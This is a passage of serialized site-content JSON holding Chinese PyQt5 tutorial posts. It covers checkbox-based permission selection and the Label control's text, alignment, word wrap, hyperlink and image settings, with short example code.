\n",{"type":18,"tag":297,"props":55263,"children":55264},{"class":299,"line":799},[55265],{"type":18,"tag":297,"props":55266,"children":55267},{},[55268],{"type":24,"value":55269},"        oper += self.checkBox.text()  # 记录选中的权限  \n",{"type":18,"tag":297,"props":55271,"children":55272},{"class":299,"line":808},[55273],{"type":18,"tag":297,"props":55274,"children":55275},{},[55276],{"type":24,"value":55277},"    if self.checkBox_2.isChecked():  \n",{"type":18,"tag":297,"props":55279,"children":55280},{"class":299,"line":817},[55281],{"type":18,"tag":297,"props":55282,"children":55283},{},[55284],{"type":24,"value":55285},"        oper += '\\n' + self.checkBox_2.text()  \n",{"type":18,"tag":297,"props":55287,"children":55288},{"class":299,"line":826},[55289],{"type":18,"tag":297,"props":55290,"children":55291},{},[55292],{"type":24,"value":55293},"    if self.checkBox_3.isChecked():  \n",{"type":18,"tag":297,"props":55295,"children":55296},{"class":299,"line":4524},[55297],{"type":18,"tag":297,"props":55298,"children":55299},{},[55300],{"type":24,"value":55301},"        oper += '\\n' + self.checkBox_3.text()  \n",{"type":18,"tag":297,"props":55303,"children":55304},{"class":299,"line":4533},[55305],{"type":18,"tag":297,"props":55306,"children":55307},{},[55308],{"type":24,"value":55309},"    if self.checkBox_4.isChecked():  \n",{"type":18,"tag":297,"props":55311,"children":55312},{"class":299,"line":4546},[55313],{"type":18,"tag":297,"props":55314,"children":55315},{},[55316],{"type":24,"value":55317},"        oper += '\\n' + self.checkBox_4.text()  \n",{"type":18,"tag":297,"props":55319,"children":55320},{"class":299,"line":4555},[55321],{"type":18,"tag":297,"props":55322,"children":55323},{},[55324],{"type":24,"value":55325},"    if self.checkBox_5.isChecked():  \n",{"type":18,"tag":297,"props":55327,"children":55328},{"class":299,"line":4568},[55329],{"type":18,"tag":297,"props":55330,"children":55331},{},[55332],{"type":24,"value":55333},"        oper += '\\n' + self.checkBox_5.text()  \n",{"type":18,"tag":297,"props":55335,"children":55336},{"class":299,"line":4577},[55337],{"type":18,"tag":297,"props":55338,"children":55339},{},[55340],{"type":24,"value":48569},{"type":18,"tag":297,"props":55342,"children":55343},{"class":299,"line":4590},[55344],{"type":18,"tag":297,"props":55345,"children":55346},{},[55347],{"type":24,"value":55348},"    # 使用information()方法弹出信息提示，显示所有选择的权限  \n",{"type":18,"tag":297,"props":55350,"children":55351},{"class":299,"line":4599},[55352],{"type":18,"tag":297,"props":55353,"children":55354},{},[55355],{"type":24,"value":55356},"    QMessageBox.information(MainWindow, \"提示\", \"您选择的权限如下：\\n\" + oper, QMessageBox.Ok)\n",{"type":18,"tag":34,"props":55358,"children":55359},{},[55360,55362,55368,55369,55374,55375,55381],{"type":24,"value":55361},"将",{"type":18,"tag":74,"props":55363,"children":55365},{"className":55364},[],[55366],{"type":24,"value":55367},"设置",{"type":24,"value":44705},{"type":18,"tag":74,"props":55370,"children":55372},{"className":55371},[],[55373],{"type":24,"value":44112},{"type":24,"value":54349},{"type":18,"tag":74,"props":55376,"children":55378},{"className":55377},[],[55379],{"type":24,"value":55380},"槽函数getvalue()",{"type":24,"value":55382},"相关联，代码如下：",{"type":18,"tag":287,"props":55384,"children":55386},{"code":55385,"language":28712,"meta":8,"className":28710,"style":8},"self.pushButton.clicked.connect(self.getvalue)\n",[55387],{"type":18,"tag":74,"props":55388,"children":55389},{"__ignoreMap":8},[55390],{"type":18,"tag":297,"props":55391,"children":55392},{"class":299,"line":300},[55393],{"type":18,"tag":297,"props":55394,"children":55395},{},[55396],{"type":24,"value":55385},{"type":18,"tag":34,"props":55398,"children":55399},{},[55400,55401,55406,55408,55413],{"type":24,"value":48801},{"type":18,"tag":74,"props":55402,"children":55404},{"className":55403},[],[55405],{"type":24,"value":42560},{"type":24,"value":55407},"文件添加程序入口，然后运行程序，选中相应权限的复选框，单击",{"type":18,"tag":74,"props":55409,"children":55411},{"className":55410},[],[55412],{"type":24,"value":55367},{"type":24,"value":55414},"按钮，即可在弹出提示框中显示用户选择的权限，如图所示。",{"type":18,"tag":34,"props":55416,"children":55417},{},[55418],{"type":18,"tag":54,"props":55419,"children":55422},{"alt":55420,"src":55421},"Pasted image 20250829102454","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250829102454.png",[],{"type":18,"tag":96,"props":55424,"children":55425},{},[55426],{"type":18,"tag":34,"props":55427,"children":55428},{},[55429,55433,55435,55440],{"type":18,"tag":105,"props":55430,"children":55431},{},[55432],{"type":24,"value":44648},{"type":24,"value":55434}," 多学两招\n在设计用户权限或者考试系统中的多选题答案等功能时，可以使用",{"type":18,"tag":74,"props":55436,"children":55438},{"className":55437},[],[55439],{"type":24,"value":55002},{"type":24,"value":55441},"控件来实现。",{"type":18,"tag":651,"props":55443,"children":55444},{},[55445],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":55447},[55448,55450,55452,55454,55456],{"id":52821,"depth":657,"text":55449},"1  PushButton：按钮",{"id":53651,"depth":657,"text":55451},"2  ToolButton：工具按钮",{"id":53997,"depth":657,"text":55453},"3  CommandLinkButton：命令链接按钮",{"id":54117,"depth":657,"text":55455},"4  RadioButton：单选按钮",{"id":54993,"depth":657,"text":55457},"5  CheckBox：复选框","content:blog:2025-08-24-pyqt5-按钮类控件.md","blog\u002F2025-08-24-pyqt5-按钮类控件.md","blog\u002F2025-08-24-pyqt5-按钮类控件",{"_path":55462,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":55463,"description":55464,"date":55465,"tags":55466,"body":55467,"_type":672,"_id":58896,"_source":674,"_file":58897,"_stem":58898,"_extension":677},"\u002Fblog\u002F2025-08-23-pyqt5","PyQt5-文本类控件","PyQt5文本类控件详解：Label、LineEdit、TextEdit、SpinBox等使用方法。","2025-08-23",[28616,41429,41430],{"type":15,"children":55468,"toc":58882},[55469,55515,55527,55530,55560,55566,55578,55598,55610,55618,55635,55643,55662,55693,55742,55748,55789,55806,55885,55893,55904,55912,55923,55931,55942,55950,55966,56031,56039,56050,56058,56069,56077,56088,56096,56122,56136,56142,56169,56177,56197,56205,56210,56218,56242,56256,56262,56316,56339,56359,56367,56373,56406,56429,56435,56467,56481,56493,56496,56519,56814,56824,56882,56890,56914,56960,56968,57010,57049,57061,57135,57139,57147,57159,57191,57203,57206,57223,57239,57372,57380,57439,57478,57488,57496,57508,57511,57528,57544,57642,57675,57694,57709,57764,57819,57853,57886,57916,57939,57962,57980,57988,58000,58003,58040,58064,58079,58132,58195,58223,58253,58275,58297,58315,58323,58336,58359,58480,58494,58502,58515,58523,58536,58544,58552,58638,58717,58749,58780,58805,58828,58846,58854,58862,58870,58878],{"type":18,"tag":34,"props":55470,"children":55471},{},[55472,55474,55479,55480,55486,55487,55493,55494,55500,55501,55507,55508,55514],{"type":24,"value":55473},"文本类控件主要用来显示或者编辑文本信息，PyQt5中的文本类控件主要有",{"type":18,"tag":74,"props":55475,"children":55477},{"className":55476},[],[55478],{"type":24,"value":45647},{"type":24,"value":1942},{"type":18,"tag":74,"props":55481,"children":55483},{"className":55482},[],[55484],{"type":24,"value":55485},"LineEdit",{"type":24,"value":1942},{"type":18,"tag":74,"props":55488,"children":55490},{"className":55489},[],[55491],{"type":24,"value":55492},"TextEdit",{"type":24,"value":1942},{"type":18,"tag":74,"props":55495,"children":55497},{"className":55496},[],[55498],{"type":24,"value":55499},"SpinBox",{"type":24,"value":1942},{"type":18,"tag":74,"props":55502,"children":55504},{"className":55503},[],[55505],{"type":24,"value":55506},"DoubleSpinBox",{"type":24,"value":1942},{"type":18,"tag":74,"props":55509,"children":55511},{"className":55510},[],[55512],{"type":24,"value":55513},"LCDNumber",{"type":24,"value":52818},{"type":18,"tag":19,"props":55516,"children":55518},{"id":55517},"_1label标签控件",[55519,55520,55525],{"type":24,"value":41463},{"type":18,"tag":74,"props":55521,"children":55523},{"className":55522},[],[55524],{"type":24,"value":45647},{"type":24,"value":55526},"：标签控件",{"type":18,"tag":121,"props":55528,"children":55529},{},[],{"type":18,"tag":34,"props":55531,"children":55532},{},[55533,55538,55540,55545,55547,55552,55554,55559],{"type":18,"tag":74,"props":55534,"children":55536},{"className":55535},[],[55537],{"type":24,"value":45647},{"type":24,"value":55539},"控件，又称为标签控件，它主要用于显示用户不能编辑的文本，标识窗体上的对象（例如，给文本框、列表框添加描述信息等），它对应PyQt5中的",{"type":18,"tag":74,"props":55541,"children":55543},{"className":55542},[],[55544],{"type":24,"value":46249},{"type":24,"value":55546},"类，",{"type":18,"tag":74,"props":55548,"children":55550},{"className":55549},[],[55551],{"type":24,"value":45647},{"type":24,"value":55553},"控件在本质上是",{"type":18,"tag":74,"props":55555,"children":55557},{"className":55556},[],[55558],{"type":24,"value":46249},{"type":24,"value":44233},{"type":18,"tag":337,"props":55561,"children":55563},{"id":55562},"_1设置标签文本",[55564],{"type":24,"value":55565},"1）设置标签文本",{"type":18,"tag":34,"props":55567,"children":55568},{},[55569,55571,55576],{"type":24,"value":55570},"可以通过两种方法设置标签控件（即",{"type":18,"tag":74,"props":55572,"children":55574},{"className":55573},[],[55575],{"type":24,"value":45647},{"type":24,"value":55577},"控件）显示的文本：",{"type":18,"tag":210,"props":55579,"children":55580},{},[55581,55593],{"type":18,"tag":158,"props":55582,"children":55583},{},[55584,55586,55591],{"type":24,"value":55585},"第一种是直接在Qt Designer设计器的属性编辑器中设置",{"type":18,"tag":74,"props":55587,"children":55589},{"className":55588},[],[55590],{"type":24,"value":24},{"type":24,"value":55592},"属性；",{"type":18,"tag":158,"props":55594,"children":55595},{},[55596],{"type":24,"value":55597},"第二种是通过代码设置。",{"type":18,"tag":34,"props":55599,"children":55600},{},[55601,55603,55608],{"type":24,"value":55602},"在Qt Designer设计器的属性编辑器中设置",{"type":18,"tag":74,"props":55604,"children":55606},{"className":55605},[],[55607],{"type":24,"value":24},{"type":24,"value":55609},"属性的效果如图所示。",{"type":18,"tag":34,"props":55611,"children":55612},{},[55613],{"type":18,"tag":54,"props":55614,"children":55617},{"alt":55615,"src":55616},"Pasted image 20250827164045","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827164045.png",[],{"type":18,"tag":34,"props":55619,"children":55620},{},[55621,55623,55628,55629,55634],{"type":24,"value":55622},"第二种方法是直接通过Python代码进行设置，需要用到",{"type":18,"tag":74,"props":55624,"children":55626},{"className":55625},[],[55627],{"type":24,"value":46249},{"type":24,"value":43752},{"type":18,"tag":74,"props":55630,"children":55632},{"className":55631},[],[55633],{"type":24,"value":43335},{"type":24,"value":111},{"type":18,"tag":34,"props":55636,"children":55637},{},[55638],{"type":18,"tag":105,"props":55639,"children":55640},{},[55641],{"type":24,"value":55642},"实例  Label标签控件的使用",{"type":18,"tag":34,"props":55644,"children":55645},{},[55646,55648,55653,55655,55661],{"type":24,"value":55647},"将PyQt5窗口中的",{"type":18,"tag":74,"props":55649,"children":55651},{"className":55650},[],[55652],{"type":24,"value":45647},{"type":24,"value":55654},"控件的文本设置为",{"type":18,"tag":74,"props":55656,"children":55658},{"className":55657},[],[55659],{"type":24,"value":55660},"用户名：",{"type":24,"value":48645},{"type":18,"tag":287,"props":55663,"children":55665},{"className":28710,"code":55664,"language":28712,"meta":8,"style":8},"self.label = QtWidgets.QLabel(self.centralwidget)  \nself.label.setGeometry(QtCore.QRect(30, 30, 81, 41))  \nself.label.setText(\"用户名：\")\n",[55666],{"type":18,"tag":74,"props":55667,"children":55668},{"__ignoreMap":8},[55669,55677,55685],{"type":18,"tag":297,"props":55670,"children":55671},{"class":299,"line":300},[55672],{"type":18,"tag":297,"props":55673,"children":55674},{},[55675],{"type":24,"value":55676},"self.label = QtWidgets.QLabel(self.centralwidget)  \n",{"type":18,"tag":297,"props":55678,"children":55679},{"class":299,"line":657},[55680],{"type":18,"tag":297,"props":55681,"children":55682},{},[55683],{"type":24,"value":55684},"self.label.setGeometry(QtCore.QRect(30, 30, 81, 41))  \n",{"type":18,"tag":297,"props":55686,"children":55687},{"class":299,"line":662},[55688],{"type":18,"tag":297,"props":55689,"children":55690},{},[55691],{"type":24,"value":55692},"self.label.setText(\"用户名：\")\n",{"type":18,"tag":96,"props":55694,"children":55695},{},[55696],{"type":18,"tag":34,"props":55697,"children":55698},{},[55699,55703,55705,55710,55712,55717,55719,55725,55727,55732,55734,55740],{"type":18,"tag":105,"props":55700,"children":55701},{},[55702],{"type":24,"value":33435},{"type":24,"value":55704}," 说明\n将",{"type":18,"tag":74,"props":55706,"children":55708},{"className":55707},[],[55709],{"type":24,"value":43367},{"type":24,"value":55711},"文件转换为",{"type":18,"tag":74,"props":55713,"children":55715},{"className":55714},[],[55716],{"type":24,"value":42560},{"type":24,"value":55718},"文件时，",{"type":18,"tag":74,"props":55720,"children":55722},{"className":55721},[],[55723],{"type":24,"value":55724},"Lable",{"type":24,"value":55726},"控件所对应的类为",{"type":18,"tag":74,"props":55728,"children":55730},{"className":55729},[],[55731],{"type":24,"value":46249},{"type":24,"value":55733},"，即在控件前面加了一个",{"type":18,"tag":74,"props":55735,"children":55737},{"className":55736},[],[55738],{"type":24,"value":55739},"Q",{"type":24,"value":55741},"，表示它是Qt的控件，其他控件也是如此。",{"type":18,"tag":337,"props":55743,"children":55745},{"id":55744},"_2设置标签文本的对齐方式",[55746],{"type":24,"value":55747},"2）设置标签文本的对齐方式",{"type":18,"tag":34,"props":55749,"children":55750},{},[55751,55753,55758,55760,55766,55768,55773,55775,55781,55782,55788],{"type":24,"value":55752},"PyQt5中支持",{"type":18,"tag":105,"props":55754,"children":55755},{},[55756],{"type":24,"value":55757},"设置标签中文本的对齐方式",{"type":24,"value":55759},"，主要用到",{"type":18,"tag":74,"props":55761,"children":55763},{"className":55762},[],[55764],{"type":24,"value":55765},"alignment",{"type":24,"value":55767},"属性，在Qt Designer设计器的属性编辑器中展开",{"type":18,"tag":74,"props":55769,"children":55771},{"className":55770},[],[55772],{"type":24,"value":55765},{"type":24,"value":55774},"属性，可以看到有两个值，分别为",{"type":18,"tag":74,"props":55776,"children":55778},{"className":55777},[],[55779],{"type":24,"value":55780},"Horizontal",{"type":24,"value":10315},{"type":18,"tag":74,"props":55783,"children":55785},{"className":55784},[],[55786],{"type":24,"value":55787},"Vertical",{"type":24,"value":111},{"type":18,"tag":34,"props":55790,"children":55791},{},[55792,55797,55799,55804],{"type":18,"tag":74,"props":55793,"children":55795},{"className":55794},[],[55796],{"type":24,"value":55780},{"type":24,"value":55798},"用来",{"type":18,"tag":105,"props":55800,"children":55801},{},[55802],{"type":24,"value":55803},"设置标签文本的水平对齐方式",{"type":24,"value":55805},"，取值有4个，如图所示，它们的说明如表所示。",{"type":18,"tag":431,"props":55807,"children":55808},{},[55809,55830],{"type":18,"tag":435,"props":55810,"children":55811},{},[55812],{"type":18,"tag":439,"props":55813,"children":55814},{},[55815,55823],{"type":18,"tag":443,"props":55816,"children":55817},{},[55818],{"type":18,"tag":105,"props":55819,"children":55820},{},[55821],{"type":24,"value":55822},"取    值",{"type":18,"tag":443,"props":55824,"children":55825},{},[55826],{"type":18,"tag":105,"props":55827,"children":55828},{},[55829],{"type":24,"value":41526},{"type":18,"tag":459,"props":55831,"children":55832},{},[55833,55846,55859,55872],{"type":18,"tag":439,"props":55834,"children":55835},{},[55836,55841],{"type":18,"tag":466,"props":55837,"children":55838},{},[55839],{"type":24,"value":55840},"AlignLeft",{"type":18,"tag":466,"props":55842,"children":55843},{},[55844],{"type":24,"value":55845},"左对齐",{"type":18,"tag":439,"props":55847,"children":55848},{},[55849,55854],{"type":18,"tag":466,"props":55850,"children":55851},{},[55852],{"type":24,"value":55853},"AlignHCenter",{"type":18,"tag":466,"props":55855,"children":55856},{},[55857],{"type":24,"value":55858},"水平居中对齐",{"type":18,"tag":439,"props":55860,"children":55861},{},[55862,55867],{"type":18,"tag":466,"props":55863,"children":55864},{},[55865],{"type":24,"value":55866},"AlignRight",{"type":18,"tag":466,"props":55868,"children":55869},{},[55870],{"type":24,"value":55871},"右对齐",{"type":18,"tag":439,"props":55873,"children":55874},{},[55875,55880],{"type":18,"tag":466,"props":55876,"children":55877},{},[55878],{"type":24,"value":55879},"AlignJustify",{"type":18,"tag":466,"props":55881,"children":55882},{},[55883],{"type":24,"value":55884},"两端对齐",{"type":18,"tag":34,"props":55886,"children":55887},{},[55888],{"type":18,"tag":54,"props":55889,"children":55892},{"alt":55890,"src":55891},"Pasted image 20250827182714","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827182714.png",[],{"type":18,"tag":210,"props":55894,"children":55895},{},[55896],{"type":18,"tag":158,"props":55897,"children":55898},{},[55899],{"type":18,"tag":74,"props":55900,"children":55902},{"className":55901},[],[55903],{"type":24,"value":55840},{"type":18,"tag":34,"props":55905,"children":55906},{},[55907],{"type":18,"tag":54,"props":55908,"children":55911},{"alt":55909,"src":55910},"Pasted image 20250827182900","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827182900.png",[],{"type":18,"tag":210,"props":55913,"children":55914},{},[55915],{"type":18,"tag":158,"props":55916,"children":55917},{},[55918],{"type":18,"tag":74,"props":55919,"children":55921},{"className":55920},[],[55922],{"type":24,"value":55853},{"type":18,"tag":34,"props":55924,"children":55925},{},[55926],{"type":18,"tag":54,"props":55927,"children":55930},{"alt":55928,"src":55929},"Pasted image 20250827183451","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827183451.png",[],{"type":18,"tag":210,"props":55932,"children":55933},{},[55934],{"type":18,"tag":158,"props":55935,"children":55936},{},[55937],{"type":18,"tag":74,"props":55938,"children":55940},{"className":55939},[],[55941],{"type":24,"value":55866},{"type":18,"tag":34,"props":55943,"children":55944},{},[55945],{"type":18,"tag":54,"props":55946,"children":55949},{"alt":55947,"src":55948},"Pasted image 20250827183529","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827183529.png",[],{"type":18,"tag":34,"props":55951,"children":55952},{},[55953,55958,55959,55964],{"type":18,"tag":74,"props":55954,"children":55956},{"className":55955},[],[55957],{"type":24,"value":55787},{"type":24,"value":55798},{"type":18,"tag":105,"props":55960,"children":55961},{},[55962],{"type":24,"value":55963},"设置标签文本的垂直对齐方式",{"type":24,"value":55965},"，取值有3个，如图所示，它们的说明如表所示。",{"type":18,"tag":431,"props":55967,"children":55968},{},[55969,55989],{"type":18,"tag":435,"props":55970,"children":55971},{},[55972],{"type":18,"tag":439,"props":55973,"children":55974},{},[55975,55982],{"type":18,"tag":443,"props":55976,"children":55977},{},[55978],{"type":18,"tag":105,"props":55979,"children":55980},{},[55981],{"type":24,"value":55822},{"type":18,"tag":443,"props":55983,"children":55984},{},[55985],{"type":18,"tag":105,"props":55986,"children":55987},{},[55988],{"type":24,"value":41526},{"type":18,"tag":459,"props":55990,"children":55991},{},[55992,56005,56018],{"type":18,"tag":439,"props":55993,"children":55994},{},[55995,56000],{"type":18,"tag":466,"props":55996,"children":55997},{},[55998],{"type":24,"value":55999},"AlignTop",{"type":18,"tag":466,"props":56001,"children":56002},{},[56003],{"type":24,"value":56004},"顶部对齐",{"type":18,"tag":439,"props":56006,"children":56007},{},[56008,56013],{"type":18,"tag":466,"props":56009,"children":56010},{},[56011],{"type":24,"value":56012},"AlignVCenter",{"type":18,"tag":466,"props":56014,"children":56015},{},[56016],{"type":24,"value":56017},"垂直居中对齐",{"type":18,"tag":439,"props":56019,"children":56020},{},[56021,56026],{"type":18,"tag":466,"props":56022,"children":56023},{},[56024],{"type":24,"value":56025},"AlignBottom",{"type":18,"tag":466,"props":56027,"children":56028},{},[56029],{"type":24,"value":56030},"底部对齐",{"type":18,"tag":34,"props":56032,"children":56033},{},[56034],{"type":18,"tag":54,"props":56035,"children":56038},{"alt":56036,"src":56037},"Pasted image 20250827183744","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827183744.png",[],{"type":18,"tag":210,"props":56040,"children":56041},{},[56042],{"type":18,"tag":158,"props":56043,"children":56044},{},[56045],{"type":18,"tag":74,"props":56046,"children":56048},{"className":56047},[],[56049],{"type":24,"value":55999},{"type":18,"tag":34,"props":56051,"children":56052},{},[56053],{"type":18,"tag":54,"props":56054,"children":56057},{"alt":56055,"src":56056},"Pasted image 20250827183908","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827183908.png",[],{"type":18,"tag":210,"props":56059,"children":56060},{},[56061],{"type":18,"tag":158,"props":56062,"children":56063},{},[56064],{"type":18,"tag":74,"props":56065,"children":56067},{"className":56066},[],[56068],{"type":24,"value":56012},{"type":18,"tag":34,"props":56070,"children":56071},{},[56072],{"type":18,"tag":54,"props":56073,"children":56076},{"alt":56074,"src":56075},"Pasted image 20250827183927","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827183927.png",[],{"type":18,"tag":210,"props":56078,"children":56079},{},[56080],{"type":18,"tag":158,"props":56081,"children":56082},{},[56083],{"type":18,"tag":74,"props":56084,"children":56086},{"className":56085},[],[56087],{"type":24,"value":56025},{"type":18,"tag":34,"props":56089,"children":56090},{},[56091],{"type":18,"tag":54,"props":56092,"children":56095},{"alt":56093,"src":56094},"Pasted image 20250827184008","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827184008.png",[],{"type":18,"tag":34,"props":56097,"children":56098},{},[56099,56101,56106,56108,56113,56114,56120],{"type":24,"value":56100},"使用代码设置",{"type":18,"tag":74,"props":56102,"children":56104},{"className":56103},[],[56105],{"type":24,"value":45647},{"type":24,"value":56107},"标签文本的对齐方式，需要用到",{"type":18,"tag":74,"props":56109,"children":56111},{"className":56110},[],[56112],{"type":24,"value":46249},{"type":24,"value":43752},{"type":18,"tag":74,"props":56115,"children":56117},{"className":56116},[],[56118],{"type":24,"value":56119},"setAlignment()方法",{"type":24,"value":56121},"，例如，将标签文本的对齐方式设置为水平左对齐、垂直居中对齐，代码如下：",{"type":18,"tag":287,"props":56123,"children":56125},{"className":28710,"code":56124,"language":28712,"meta":8,"style":8},"self.label.setAlignment(QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)\n",[56126],{"type":18,"tag":74,"props":56127,"children":56128},{"__ignoreMap":8},[56129],{"type":18,"tag":297,"props":56130,"children":56131},{"class":299,"line":300},[56132],{"type":18,"tag":297,"props":56133,"children":56134},{},[56135],{"type":24,"value":56124},{"type":18,"tag":337,"props":56137,"children":56139},{"id":56138},"_3设置文本换行显示",[56140],{"type":24,"value":56141},"3）设置文本换行显示",{"type":18,"tag":34,"props":56143,"children":56144},{},[56145,56147,56152,56154,56160,56162,56167],{"type":24,"value":56146},"假设将标签文本的",{"type":18,"tag":74,"props":56148,"children":56150},{"className":56149},[],[56151],{"type":24,"value":24},{"type":24,"value":56153},"值设置为",{"type":18,"tag":74,"props":56155,"children":56157},{"className":56156},[],[56158],{"type":24,"value":56159},"每天编程1小时，从菜鸟到大牛",{"type":24,"value":56161},"，在标签宽度不足的情况下，系统会",{"type":18,"tag":105,"props":56163,"children":56164},{},[56165],{"type":24,"value":56166},"默认只显示部分文字",{"type":24,"value":56168},"，如图所示；",{"type":18,"tag":34,"props":56170,"children":56171},{},[56172],{"type":18,"tag":54,"props":56173,"children":56176},{"alt":56174,"src":56175},"Pasted image 20250827184432","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827184432.png",[],{"type":18,"tag":34,"props":56178,"children":56179},{},[56180,56182,56187,56189,56195],{"type":24,"value":56181},"遇到这种情况时，可以",{"type":18,"tag":105,"props":56183,"children":56184},{},[56185],{"type":24,"value":56186},"设置标签中的文本换行显示",{"type":24,"value":56188},"，只需要在Qt Designer设计器的属性编辑器中，将",{"type":18,"tag":74,"props":56190,"children":56192},{"className":56191},[],[56193],{"type":24,"value":56194},"wordWrap",{"type":24,"value":56196},"属性后面的复选框选中即可，如图所示；",{"type":18,"tag":34,"props":56198,"children":56199},{},[56200],{"type":18,"tag":54,"props":56201,"children":56204},{"alt":56202,"src":56203},"Pasted image 20250827184549","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827184549.png",[],{"type":18,"tag":34,"props":56206,"children":56207},{},[56208],{"type":24,"value":56209},"换行显示后的效果如图所示。",{"type":18,"tag":34,"props":56211,"children":56212},{},[56213],{"type":18,"tag":54,"props":56214,"children":56217},{"alt":56215,"src":56216},"Pasted image 20250827184602","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827184602.png",[],{"type":18,"tag":34,"props":56219,"children":56220},{},[56221,56222,56227,56229,56234,56235,56241],{"type":24,"value":56100},{"type":18,"tag":74,"props":56223,"children":56225},{"className":56224},[],[56226],{"type":24,"value":45647},{"type":24,"value":56228},"标签文本换行显示，需要用到",{"type":18,"tag":74,"props":56230,"children":56232},{"className":56231},[],[56233],{"type":24,"value":46249},{"type":24,"value":43752},{"type":18,"tag":74,"props":56236,"children":56238},{"className":56237},[],[56239],{"type":24,"value":56240},"setWordWrap()方法",{"type":24,"value":48645},{"type":18,"tag":287,"props":56243,"children":56245},{"className":28710,"code":56244,"language":28712,"meta":8,"style":8},"self.label.setWordWrap(True)\n",[56246],{"type":18,"tag":74,"props":56247,"children":56248},{"__ignoreMap":8},[56249],{"type":18,"tag":297,"props":56250,"children":56251},{"class":299,"line":300},[56252],{"type":18,"tag":297,"props":56253,"children":56254},{},[56255],{"type":24,"value":56244},{"type":18,"tag":337,"props":56257,"children":56259},{"id":56258},"_4为标签设置超链接",[56260],{"type":24,"value":56261},"4）为标签设置超链接",{"type":18,"tag":34,"props":56263,"children":56264},{},[56265,56266,56271,56273,56278,56279,56284,56286,56292,56294,56299,56301,56307,56309,56314],{"type":24,"value":48801},{"type":18,"tag":74,"props":56267,"children":56269},{"className":56268},[],[56270],{"type":24,"value":45647},{"type":24,"value":56272},"标签设置超链接时，可以直接在",{"type":18,"tag":74,"props":56274,"children":56276},{"className":56275},[],[56277],{"type":24,"value":46249},{"type":24,"value":43752},{"type":18,"tag":74,"props":56280,"children":56282},{"className":56281},[],[56283],{"type":24,"value":43335},{"type":24,"value":56285},"中使用HTML中的",{"type":18,"tag":74,"props":56287,"children":56289},{"className":56288},[],[56290],{"type":24,"value":56291},"\u003Ca>",{"type":24,"value":56293},"标签设置超链接文本，然后将",{"type":18,"tag":74,"props":56295,"children":56297},{"className":56296},[],[56298],{"type":24,"value":45647},{"type":24,"value":56300},"标签中的",{"type":18,"tag":74,"props":56302,"children":56304},{"className":56303},[],[56305],{"type":24,"value":56306},"setOpenExternalLinks()方法",{"type":24,"value":56308},"设置为",{"type":18,"tag":74,"props":56310,"children":56312},{"className":56311},[],[56313],{"type":24,"value":30505},{"type":24,"value":56315},"，以便允许访问超链接，代码如下：",{"type":18,"tag":287,"props":56317,"children":56319},{"className":28710,"code":56318,"language":28712,"meta":8,"style":8},"self.label.setText(\"\u003Ca href='https:\u002F\u002Fwww.csdn.net'>CSDN官网\u003C\u002Fa>\")  \nself.label.setOpenExternalLinks(True)  # 设置允许访问超链接\n",[56320],{"type":18,"tag":74,"props":56321,"children":56322},{"__ignoreMap":8},[56323,56331],{"type":18,"tag":297,"props":56324,"children":56325},{"class":299,"line":300},[56326],{"type":18,"tag":297,"props":56327,"children":56328},{},[56329],{"type":24,"value":56330},"self.label.setText(\"\u003Ca href='https:\u002F\u002Fwww.csdn.net'>CSDN官网\u003C\u002Fa>\")  \n",{"type":18,"tag":297,"props":56332,"children":56333},{"class":299,"line":657},[56334],{"type":18,"tag":297,"props":56335,"children":56336},{},[56337],{"type":24,"value":56338},"self.label.setOpenExternalLinks(True)  # 设置允许访问超链接\n",{"type":18,"tag":34,"props":56340,"children":56341},{},[56342,56344,56350,56352,56357],{"type":24,"value":56343},"运行效果如图所示，当单击",{"type":18,"tag":74,"props":56345,"children":56347},{"className":56346},[],[56348],{"type":24,"value":56349},"CSDN官网",{"type":24,"value":56351},"时，即可使用浏览器打开",{"type":18,"tag":74,"props":56353,"children":56355},{"className":56354},[],[56356],{"type":24,"value":56291},{"type":24,"value":56358},"标签中指定的网址。",{"type":18,"tag":34,"props":56360,"children":56361},{},[56362],{"type":18,"tag":54,"props":56363,"children":56366},{"alt":56364,"src":56365},"Pasted image 20250827185613","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827185613.png",[],{"type":18,"tag":337,"props":56368,"children":56370},{"id":56369},"_5为标签设置图片",[56371],{"type":24,"value":56372},"5）为标签设置图片",{"type":18,"tag":34,"props":56374,"children":56375},{},[56376,56377,56382,56384,56389,56390,56396,56398,56404],{"type":24,"value":48801},{"type":18,"tag":74,"props":56378,"children":56380},{"className":56379},[],[56381],{"type":24,"value":45647},{"type":24,"value":56383},"标签设置图片时，需要使用",{"type":18,"tag":74,"props":56385,"children":56387},{"className":56386},[],[56388],{"type":24,"value":46249},{"type":24,"value":43752},{"type":18,"tag":74,"props":56391,"children":56393},{"className":56392},[],[56394],{"type":24,"value":56395},"setPixmap()方法",{"type":24,"value":56397},"，该方法中需要有一个",{"type":18,"tag":74,"props":56399,"children":56401},{"className":56400},[],[56402],{"type":24,"value":56403},"QPixmap",{"type":24,"value":56405},"对象，表示图标对象，代码如下：",{"type":18,"tag":287,"props":56407,"children":56409},{"className":28710,"code":56408,"language":28712,"meta":8,"style":8},"from PyQt5.QtGui import QPixmap  # 导入QPixmap类  \nself.label.setPixmap(QPixmap('test.png'))  # 为Label设置图片\n",[56410],{"type":18,"tag":74,"props":56411,"children":56412},{"__ignoreMap":8},[56413,56421],{"type":18,"tag":297,"props":56414,"children":56415},{"class":299,"line":300},[56416],{"type":18,"tag":297,"props":56417,"children":56418},{},[56419],{"type":24,"value":56420},"from PyQt5.QtGui import QPixmap  # 导入QPixmap类  